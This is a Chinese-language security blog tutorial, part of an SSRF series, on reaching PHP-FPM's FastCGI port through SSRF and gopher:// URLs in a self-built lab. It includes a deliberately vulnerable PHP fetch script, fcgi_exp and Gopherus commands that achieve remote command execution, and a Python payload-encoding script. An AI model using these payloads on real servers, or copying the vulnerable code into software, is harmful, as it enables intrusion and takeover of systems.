SSRF系列之攻击FastCGI

  • A+
所属分类:安全文章

SSRF系列之攻击FastCGI

前言

上篇文章在讲利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议,说到了这个协议作为SSRF漏洞利用中的万金油,可以用它来攻击内网的FTP、Telnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及利用SSRF结合Gopher协议攻击FastCGI

FastCGI

快速通用网关接口Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。

只通过这样简单两句话确实难以理解这是一个什么协议,下面是我通过阅读各种资料后对这个协议的理解

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。

浏览器访问静态网页过程

在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。


SSRF系列之攻击FastCGI


浏览器访问动态网页过程

当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。


SSRF系列之攻击FastCGI


当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

php-fpm

了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。


也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。


那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

环境搭建

靶    机:  Ubuntu

攻击机:   Kali

这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

sudo apt-get install nginx

安装php、php-fpm以及一些插件

sudo apt-get install software-properties-common python-software-properties
sudo add-apt-repository ppa:ondrej/php          #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl

配置php-fpm

修改配置监听9000端口来处理nginx的请求

打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行

;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000

注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。


下面修改权限

chmod 777 /run/php/php7.2-fpm.sock

打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置

server {
    listen       80; #监听80端口,接收http请求
    server_name  www.example.com; #就是网站地址
    root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
    #路由到网站根目录www.example.com时候的处理
    location / {
        index index.php; #跳转到www.example.com/index.php
        autoindex on;
    }  
    #当请求网站下php文件的时候,反向代理到php-fpm
    location ~ .php$ {
        fastcgi_split_path_info ^(.+.php)(/.+)$;
        fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
        #fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
    }
}

启动环境

配置完成后查看一下php-fpm的安装位置,然后启动

whereis php-fpm
/usr/sbin/php-fpm7.2                #这是我的靶机上php-fpm安装的位置

重新启动Nginx

sudo systemctl restart nginx

然后检查nginx是否正确启动 systemctl status nginx


SSRF系列之攻击FastCGI


检查php-fpm是否正确启动 ps -elf | grep php-fpm


SSRF系列之攻击FastCGI


这里就可以看出上面所说的存在一个master进程和多个worker进程

下面将/var/www/html/目录下的文件删除,新建一个index.php,内容可以写上<?php phpinfo(); ?>用来检查各项是否正常运行,如果页面为空,查看这篇文章解决


SSRF系列之攻击FastCGI


其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为

 <?php
    highlight_file(__FILE__);
    $url = $_GET['url'];
    $curl = curl_init($url);   
    //第二种初始化curl的方式
    //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);

    /*进行curl配置*/
    curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
    $responseText = curl_exec($curl);
    //var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

    echo $responseText;
    curl_close($curl);
?>

该代码为一个ssrf漏洞的示例代码可以访问/ssrf.php?url=http://www.baidu.com进行测试,下图为正常的结果


SSRF系列之攻击FastCGI


ssrf攻击FastCGI演示

使用fcgi_exp攻击

这里在已知其使用了php-fpm的情况下,我们可以先使用fcgi_exp测试是否可以直接攻击9000端口,这个工具主要是用来攻击未授权访问php-fpm的所以一些地方需要自己写脚本转换一下payload,下面是使用方法

该工具需要go语言环境,下载后进入目录

go build fcgi_exp.go                    #编译fcgi_exp.go

这里直接运行可以看到fcgi_exp的使用方法

Usage:   ./fcgi_exp <cmd> <ip> <port> <file> [command]
         cmd: phpinfo, system, read
              the SYSTEM cmd only affects PHP-FPM >= 5.3.3
         ip: Target ip to exploit with.
         port: Target port running php-fpm.
         file: File to read or execute.
         command: Command to execute by system. Must use with cmd 'system'.

Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
         ./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
         ./fcgi_exp read 127.0.0.1 9000 /etc/issue

使用如下命令进行测试

./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"

在这里显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,所以说不能攻击成功,但是如果有的服务器在配置的时候将9000端口监听在公网上了,就可以用上面的方法进行测试。如果仅监听在本地,可以通过ssrf来攻击内部的9000端口。


在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload,另外开启一个终端使用下面的命令发送payload

./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"

注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口 运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件里面是获得的payload,可以使用xxd fcg_exp.txt查看其内容


SSRF系列之攻击FastCGI


文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

之后使用burp抓一个访问ssrf.php的包,将输出的内容放到?url=后面,然后这里需要再进行一次编码,因为这里curl会进行一次解码,gopher会再进行一次解码,这里直接用burp中的工具


SSRF系列之攻击FastCGI


编码之后直接Go就可以执行刚才设置的命令了


SSRF系列之攻击FastCGI


使用Gopherus攻击

这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 #这里输入的是一个已知存在的php文件
whoami


SSRF系列之攻击FastCGI


获得payload,之后用同样的方法在burp Go一下(记得二次编码)


SSRF系列之攻击FastCGI


总结

通过上面的演示,可以看到又一个ssrf结合其他漏洞形成重大影响的示例,其实总的来看整个攻击的过程并不复杂,但是这仅仅是通过文章呈现出来的一种错觉,其实在复现的过程中,还是会出现各种各样的问题的,比如说搭建整个环境,其实是尝试了很多种搭建方式之后才成功的,本来也想用一个镜像来复现,但是没有合适的,最后终于找到了一种简单的方法来安装nginx和php-fpm,再比如使用fcgi_exp攻击时写的脚本,其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞,最好还是自己搭建环境尝试一下 通过搭建环境,学到的不仅仅是这个漏洞,还有这些环境的一些知识。


SSRF系列之攻击FastCGI

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: